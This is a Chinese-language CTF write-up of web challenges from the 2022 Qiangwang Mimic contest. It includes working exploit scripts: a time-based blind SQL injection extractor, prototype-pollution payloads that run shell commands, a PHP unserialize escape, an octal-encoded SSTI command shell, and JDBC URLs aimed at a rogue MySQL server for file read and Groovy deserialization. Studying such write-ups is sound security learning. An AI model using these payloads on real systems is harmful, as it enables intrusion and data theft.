2022强网拟态WP-Web(Fake_AK_ALL)
这次的强网拟态我们BXS依旧还是我们四个@Me-h0cksr, @Lightu, @Jlan, @Nightu开冲, 期间两次到了第二, 不过最后终究还是巅峰留不住(马上进厂包吃住)比赛结束是No.8
, Web这次感觉做的挺舒服的, 学到了一些新的东西, 同时差一道AK, 为什么文章标题用了Fake_AK_ALL
呢? 因为最后一道是在比赛刚结束的时候就打通了(最近的的羊城,北京工控,美团等…好多场比赛全是这样, 这个交了直接就是二等+2w, 完全绷不住破防了┭┮﹏┭┮)
没什么好说的, 终究还是因为菜…
本文首发于奇安信攻防社区: 2022强网拟态WP-Web(ALL)
popsql
开局一个登录界面, 测试确认用户名为admin的时候才会执行sql注入的语句, 所以username固定为admin, 在passowrd参数构造sqlkl注入语句进行时间盲注
fuzz后发现union join ;
都被ban了
import string
import time
import requests
# for i in range(10):
# # 0稳定子啊4.7~5.4
# # 1稳定在1~2之间
# # 2稳定在0.1~0.5
# sql=f"select case 0 when 0 then benchmark(511111111,1) when 1 then benchmark(311111111,1) else 2 end"
# password = f"xxx'or({sql.replace(' ', '/**/')})or'"
# data = {"username": "admin","password": password}
# print(data["password"])
# res = requests.post(url, data=data)
# print(res.elapsed.total_seconds())
# print("========")
# exit()
def get_str(s):
end="0x"
for c in s:
end+=str(hex(ord(c)))[2::]
return end
def getDatabase(): # 获取数据库名
global host
ans = ''
for i in range(1, 1000):
low = 32
high = 128
mid = (low + high) // 2
while low < high:
test_str=get_str(ans+chr(mid))
print(ans+chr(mid),(low,mid,high))
# usErs,FL49IsH3rE CtFGAME
# 5.7.39
# sys.schema_table_statistics
# query="select group_concat(table_schema) from sys.schema_table_statistics"
# query = "select group_concat(table_schema) from sys.x$ps_schema_table_statistics_io"
query = "select group_concat(f1aG123) from Fl49ish3re"
sql = f"select case STRCMP(({query}),{test_str}) when 0 then 0 when 1 then 1 else benchmark(511111111,1) end"
password = f"xxx'or({sql.replace(' ','/**/')})or'"
# print(password)
data = {"username": "admin", "password": password}
res = requests.post(url, data=data)
if "Password error" not in res.text:
print("CHECK!!!!!!\n",res.text)
if res.elapsed.total_seconds() > 2:
high = mid
else:
low = mid + 1
mid = (low + high) // 2
if mid <= 32 or mid >= 127:
break
ans += chr(mid - 1)
print("database is -> " + ans)
url="http://172.51.60.14/index.php"
getDatabase()
显示查询users
表的password
字段拿到返回提示结果不在users表中, 然后拿到另一个表名FL49IsH3rE
进行注入获得flag
这个有点奇怪,在没有确认的字段的时候FL49IsH3rE
执行select语句查找像是不存在一样,即使是select count(*) from FL49IsH3rE
也是毫无反应,这个问题花了大半天时间都没解决,后网上找了下发现Fl49ish3re
这个数据库在2021-第五空间yet-another-mysql-injection出现过,然后直接查询相同的字段select group_concat(f1aG123) from Fl49ish3re
就出了(绝对是非预期了哈哈)
(赛后才知道在sys的一个表下有flag查询历史记录, 从里面拿到查询语句从而得到字段名, 当时比赛的时候我也试了一下查询历史语句数据库但是因为是时间盲注而历史查询语句是真的长所以就打消了这个念头(和预期解擦肩而过, 不过想了一下里面的语句记录应该都是差不多的, 查出几条之后直接加一个过滤不输出重复的语句那应该挺快就能拿到的了)
WHOYOUARE
这题直接贴一下@学弟jlan写的WP, 主要核心就是
constructor.prototype
只能污染不存在的参数(但是本地测试__proto__就可以通过两层嵌套成功污染已存在的参数)而command数组在merge污染之前就有赋值定义的所以不能直接通过constructor.prototype
进行污染但是我们可以嵌套两层
constructor.prototype
对Array数组进行污染, 从而达到污染session.command修改执行命令的目的, 而Array数组的键值0
指向第一个参数-c, 第二个键值1
指向的就是执行的命令了, 所以下面的payload就直接污染Array的1
这个键值对
申源码后条件
-
传入内容为json{"user":"json格式化后字符串"}
-
checkcommand中对command类型限制为array,并且限制最多传入两个,而且里面每一项的类型必须为字符串,长度小于等于4,以字母或数字或-开头
-
如果以上验证都通过,那么进入merge文件定义的merge函数,将我们传入的
request.body.user
经过json解析把对象存入user里,然后merge把user传入到request.user
中 -
而如果对command内容的校验没有通过,那么command就会被直接赋值为
["-c", "id"]
-
merge函数会对内容进行判断,会先对内容进行判断
const whileTypes = ['boolean', 'string', 'number', 'bigint', 'symbol', 'undefined']; //首先判断源和目标内容是否在whileTypes里面,只要有一个在,那么就不会执行merge操作 const merge = (target, source) => { for (const key in source) { // console.log("key:",key); // console.log("源定义:",(typeof source[key])) // console.log("目标定义:",(typeof target[key])) if(!whileTypes.includes(typeof source[key]) && !whileTypes.includes(typeof target[key])){ if(key !== '__proto__'){ console.log("keykkkkkk:",key); merge(target[key], source[key]); } }else{ target[key] = source[key]; } } }
只要目标和源中有一个类型在其中,就会直接将key之间执行赋值相等,而如果两者都不在,并且这个key不是
__proto__
就会再执行merge操作
梳理完以上条件后,尝试通过constructor.prototype
来绕过,成功污染
import requests
url="http://127.0.0.1:3000/user"
user='''{"constructor":{"prototype":{"constructor":{"prototype":{"1":"whoami"}}}},"username":{"OK":"a"},"command":["-c"]}'''
# {"constructor":{"prototype":{"constructor":{"prototype":{"command":["-c","lsssss"]}}}}}
# user='''{"username":"aaa"}'''
print({"user":user})
print(requests.post(url=url, json={"user": user}).text)
两层污染到Array,此时我们传入command只传入一项,在merge时遍历source中command属性到1时就会将我们污染的内容传入target的command
在1位置任意传入命令即可执行
import requests
url="http://127.0.0.1:3000/user"
user='''{"constructor":{"prototype":{"constructor":{"prototype":{"1":"cat /flag"}}}},"username":{"OK":"a"},"command":["-c"]}'''
# {"constructor":{"prototype":{"constructor":{"prototype":{"command":["-c","lsssss"]}}}}}
# user='''{"username":"aaa"}'''
print({"user":user})
print(requests.post(url=url, json={"user": user}).text)
ezus
这个题目应该说有三层
知识点:
-
basename
如果检测到当前的文件名全部字符都在非ASCII码范围
就会丢弃当前文件名, 接续将上一层目录作为文件名读出还有一点就是
/index.php/xxxxxxx
(包括index.php/x/x/x/x/x/xxx
)都会执行index.php脚本$_SERVER["PHP_SELF"]
即为当前URI的执行文件定位路径 -
PHP反序列化字符逃逸+PHP反序列化
fastdestruct
绕过__wakeup -
对协议解析格式的理解和利用
开局拿到index.php
源码
<?php
include 'tm.php'; // Next step in tm.php
if (preg_match('/tm\.php\/*/i',_SERVER['PHP_SELF']))
{
exit("no way!");
}
if (isset(_GET['source']))
{path = basename(_SERVER['PHP_SELF']);
if (!preg_match('/tm.php/', path) && !preg_match('/index.php/', path))
{
exit("nonono!");
}
highlight_file(path);
exit();
}
?>
<a href="index.php?source">source</a>
然后使用上面说的basename
函数处理特点绕过过滤拿到tm.php
源码
http://172.51.60.211/index.php/tm.php/%ff?source
<?php
class UserAccount
{
protected username;
protectedpassword;
public function __construct(username,password)
{
this->username =username;
this->password =password;
}
}
function object_sleep(str)
{ob = str_replace(chr(0).'*'.chr(0), '@0@0@0@', str);
returnob;
}
function object_weakup(ob)
{r = str_replace('@0@0@0@', chr(0).'*'.chr(0), ob);
returnr;
}
class order
{
public f;
publichint;
public function __construct(hint,f)
{
this->f =f;
this->hint =hint;
}
public function __wakeup()
{
//something in hint.php
if (this->hint != "pass" ||this->f != "pass") {
this->hint = "pass";this->f = "pass";
}
}
public function __destruct()
{
if (filter_var(this->hint, FILTER_VALIDATE_URL))
{r = parse_url(this->hint);
if (!empty(this->f)) {
if (strpos(this->f, "try") !== false && strpos(this->f, "pass") !== false) {
@include(this->f . '.php');
} else {
die("try again!");
}
if (preg_match('/prankhub/', r['host'])) {
@out = file_get_contents(this->hint);
echo "<br/>".out;
} else {
die("<br/>error");
}
} else {
die("try it!");
}
}
else
{
echo "Invalid URL";
}
}
}
username =_POST['username'];
password =_POST['password'];
user = serialize(new UserAccount(username, password));
unserialize(object_weakup(object_sleep(user)))
?>
简单分析
- 不能用户自定义反序列化, 但是会替换序列化后数据中的一些字段, 重点在于他们替换前后的字段长度是不一样的, 所以这就为自定义反序列化提供了机会
- 通过逐个字符计算得到应该产生28位的偏移, 而
@0@0@0@
每被替换一次就会产生4字符的偏移(就是username
的字符读取扩张, 从而读取到原本不属于它的字符), 所以使用7次@0@0@0@
满足28字符的偏移要求, 让后面的password
逃逸出来执行自定义的反序列化 - 满足偏移要求后构造加入自定义的反序列化数据, 也就是对
order
类进行反序列化 - 反序列化会触发
order::__wakeup
重定义order::f
和order::hint
order::__destruct
函数有两个功能, 第一个是@include($this->f . '.php');
, 第二个是echo file_get_contents($this->hint);
(执行include之后才会执行file_get_contents), 同时对这两个变量有要求:$this->f
必须同时包含try
和pass
两个字符串$this->hint
使用parse_url
解析后其域名必须以prankhub
结尾(也就是xxx://yyy/zzz
…中的yyy必须以prankhub结尾)
问题解决
-
字符逃逸自定义反序列化
第一点自定义数据触发
order
类的反序列化构造原理上面已经说了, 不再描述 -
order::__wakeup
绕过第一眼看到
__wakeup
绕过就下意识的看了一下响应头有没有PHP版本, 然后可以看到是5.x, 所以就是直接使用老方法把参数个数+1
即可绕过 -
include
和file_get_contents
的利用这个当时还带有一点迷惑性,毕竟自从hxp CTF 2021 – The End Of LFI?出来以后没有前缀限制且能获取到一个有数据的文件的
include
几乎就等于RCE了而这个题目环境中是先执行
include
再调用file_get_contents
, 一开始我便以为是多此一举了, 但是实际执行的时候就出现了问题, 不管是使用陆队文章中的脚本还是使用wupco师傅的PHP_INCLUDE_TO_SHELL_CHAR_DICT,最后读出的数据都不能RCE(应该就是出题人专门选了一个确实必要字符集的docker容器或者出题人将关键字符集删掉了?不懂..)不过赛后现在写WP才想到或者直接在这里使用php://filter包含base64读取hint.php和flag不就行了, 还要什么file_get_contents? (也可能是现在写wp忘记了某个限制点)
既然
include
没用那就直接让$this->f='trypass'
满足要求然后执行file_get_contents
,首先需要使用协议的格式才能读取, 这里如果想使用
php://filter
就不行, 这里想要可以直接使用一个非协议的随机字符串就行, 这时候满足了parse_url
和filter_var($this->hint, FILTER_VALIDATE_URL)
的格式同时又因为没有对应协议所以会被作为文件名解析, 只要多几个../
即可完成绕过, 最后读取h0cksr://prankhub/../../../../../../../var/www/html/hint.php
拿到flag位置, 再读取h0cksr://prankhub/../../../../../../../f1111444449999.txt
拿到flag
因为我这里一开始是准备使用LIF所以$o->f
的文件名高达上千个字符, 所以让password
膨胀到了4位数, 需要的拓展位为28位, , 通过执行下面代码
<?php
class order
{
public f;
publichint;
}
class UserAccount
{
protected username;
protectedpassword;
}
o= new order();o->f='http://h0cksr.xyz/trypass';
o->hint='h0cksr://prankhub/../../../../../../../f1111444449999.txt';ser=serialize(o);insert=';s:6:"h0cksr";'.str_replace('"order":2','"order":3',ser).';}';username = '123'.str_repeat('@0@0@0@',7);
password =insert.str_repeat("01234567890",200);
user = serialize(new UserAccount(username, password));
file_put_contents("1.txt",username."\n".$password);
system("python 1.py");
因为生成的数据太长复制粘贴比较麻烦所以将请求数据写入一个文件中, 然后在1.py读取文件数据发出请求
import requests
data = open("1.txt","rb").readlines()
username,password = data[0],data[1]
data={
"username":username,
"password":password
}
# print(requests.get("http://172.51.60.211").text)
print(username)
print(password)
url="http://172.51.60.211/tm.php"
print("================")
res = requests.post(url,data)
print(res.text)
print("================")
读取hint.php拿到flag位置
读取flag
没人比我更懂py
Python且输出返回用户数据, 第一考虑SSTI, 试了一下下{7*7}
返回49, 确定是SSTI, 然后进一步确定是不能有字母, 所以就是无字母SSTI
直接使用Flask ssti中的脚本使用8进制绕过,构造exp即可, 通过__subclasses__
看到Popen
, 然后使用for循环逐个遍历找出popen执行命令输出结果获得flag
import requests
def get(exp):
dicc = []
exploit = ""
for i in range(256):
eval("dicc.append('{}')".format("\\" + str(i)))
for i in exp:
exploit += "\\" + str(dicc.index(i))
return exploit
# for i in range(10000):
# payload = "{{" + f"''['{get('__class__')}']['{get('__mro__')}']['{get('__getitem__')}'](1)['{get('__subclasses__')}']()['{get('pop')}']({i})['{get('__init__')}']['{get('__globals__')}']" \
# f"['{get('__builtins__')}']['{get('__import__')}']('{get('os')}')['{get('popen')}']" + "}}"
# print(payload)
# url = "http://172.51.60.171/"
# data = {"data": payload}
#
# res = requests.post(url, data=data)
# if "popen" in res.text:
# print(payload)
# print(res.text)
# {{lipsum.__globals__.__builtins__['__import__']('os').popen('ls').read()}}分割的一部分
# ''.__class__.__mro__.__getitem__(2).__subclasses__().pop(40)('').read()
while 1:
cmd = input("CMD#")
payload = "{{" + f"''['{get('__class__')}']['{get('__mro__')}']['{get('__getitem__')}'](1)['{get('__subclasses__')}']()['{get('pop')}'](81)['{get('__init__')}']['{get('__globals__')}']" \
f"['{get('__builtins__')}']['{get('__import__')}']('{get('os')}')['{get('popen')}']('{get(cmd)}')['{get('read')}']()" + "}}"
# print(payload)
url = "http://172.51.60.171/"
data = {"data": payload}
res = requests.post(url, data=data)
print(res.text.split(" <p>")[-1].split("</p>")[0])
{{''['\137\137\143\154\141\163\163\137\137']['\137\137\155\162\157\137\137']['\137\137\147\145\164\151\164\145\155\137\137'](1)['\137\137\163\165\142\143\154\141\163\163\145\163\137\137']()['\160\157\160'](81)['\137\137\151\156\151\164\137\137']['\137\137\147\154\157\142\141\154\163\137\137']['\137\137\142\165\151\154\164\151\156\163\137\137']['\137\137\151\155\160\157\162\164\137\137']('\157\163')['\160\157\160\145\156']('\154\163')['\162\145\141\144']()}}
NoRCE
给了源码,要进行源码分析
查看依赖看到只有除了Spring之外只有一个5.0.3的mysql-connector-java
, 简单说一下用到的知识点:
BadAttributeValueExpException
反序列化触发任意对象的toString函数- 通过调用
RMIConnector#connect
函数进行二次反序列化 com.mysql.jdbc.Driver#getConnection
通过连接jdbc:mysql://vps:port/ttt?allowLoadLocalInfile=true&allowUrlInLocalInfile=true
访问恶意的Mysql服务rogue_mysql_server完成任意文件读取
这个有个二次反序列化的操作所以我再另外写一篇文章吧, 见从一道题认识jdbc任意读文件和RMIConnector触发二次反序列化 — 2022强网拟态NoRCE
easy_java (大意失荆州…)
这个题没有源码, 直接访问就是提示输入一个url参数, 值为jdbc链接
如果做了上面的NoRCE那就很简单了, 继续使用上面的方式进行任意文件读取拿到jar包进行分析(读取file:///
列目录得到程序jar包位置/application/application.jar
)
url=jdbc:mysql://vps:port/ttt?allowLoadLocalInfile=true&allowUrlInLocalInfile=true
然后对源码进行分析, 直接看依赖就测试确认打Grovy1
这个链子本地测试可用
然后源码分析发现是对url进行了autoDeserialize
参数的检验, 要求jdbc请求链接不能定义autoDeserialize参数, 这里使用url编码方式绕过, 因为com.mysql.jdbc.Driver#getConnection
连接jdbc链接的时候会对其进行url解码
绕过了autoDeserialize, 确认了利用链, 然后就是直接设置rogue_mysql_server的config.yaml
配置Grovy1的利用链即可
jdbc:mysql://127.0.0.1:3306/test?connectionAttributes=t:grovy1&%61%75%74%6f%44%65%73%65%72%69%61%6c%69%7a%65=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&user=root&password=password
执行测试语句成功:
那么来到服务程序中打一下(NONONO的输出是我修改代码才显示的,代码改动看下面):
可以看到并没有成功, 为什么?
这一波属实小丑了, 因为当时没注意加空格的问题, 所以一直都是有时候可以有时候不行(因为有时候我带了空格有时候没带), 直到比赛结束之后注意到这点, 属实是麻瓜了…
我们在%61%75%74%6f%44%65%73%65%72%69%61%6c%69%7a%65
的后面加个空格就可以执行成功
这时候就成功了, 原因的话就要看回源代码检查autoDeserialize
的逻辑了
- 首先将url全大写然后检查转大写后的url是否包含AUTODESERIALIZE,包含则直接返回
- 取出?之后的参数字符串进行给
query
赋值, query进行url解码, 然后参数字符串将按&
切割, 放到一个String数组里 - 对String数组的按照
=
切割为key和value, 如果key转大写后等于AUTODESERIALIZE就设置valid=false
不就行jdbc请求 - 满足要求后请求jbdc的url(请求的url就是我们参数定义的url,不会受到上面的解码影响)
if (url.startsWith("jdbc:mysql:") && !url.toUpperCase().contains("AUTODESERIALIZE")) {
int firstIndex = url.indexOf("?");
String query = url.substring(firstIndex + 1);
String realQuery = null;
try {
realQuery = URLDecoder.decode(query, "UTF-8");
} catch (UnsupportedEncodingException var12) {
}
boolean valid = true;
String[] var6 = realQuery.split("&");
int var7 = var6.length;
for(int var8 = 0; var8 < var7; ++var8) {
String keyValue = var6[var8];
String key = keyValue.split("=")[0];
if (key.toUpperCase().equals("AUTODESERIALIZE")) {
valid = false;
return "NONONOONO";
}
}
if (valid) {
try {
DriverManager.getConnection(url);
} catch (SQLException var11) {
}
}
}
命令都执行成功了, 那么直接修改config.yaml
中设置的的grovy1
执行命令就行了
2022_11_07 第十二周星期一 01:00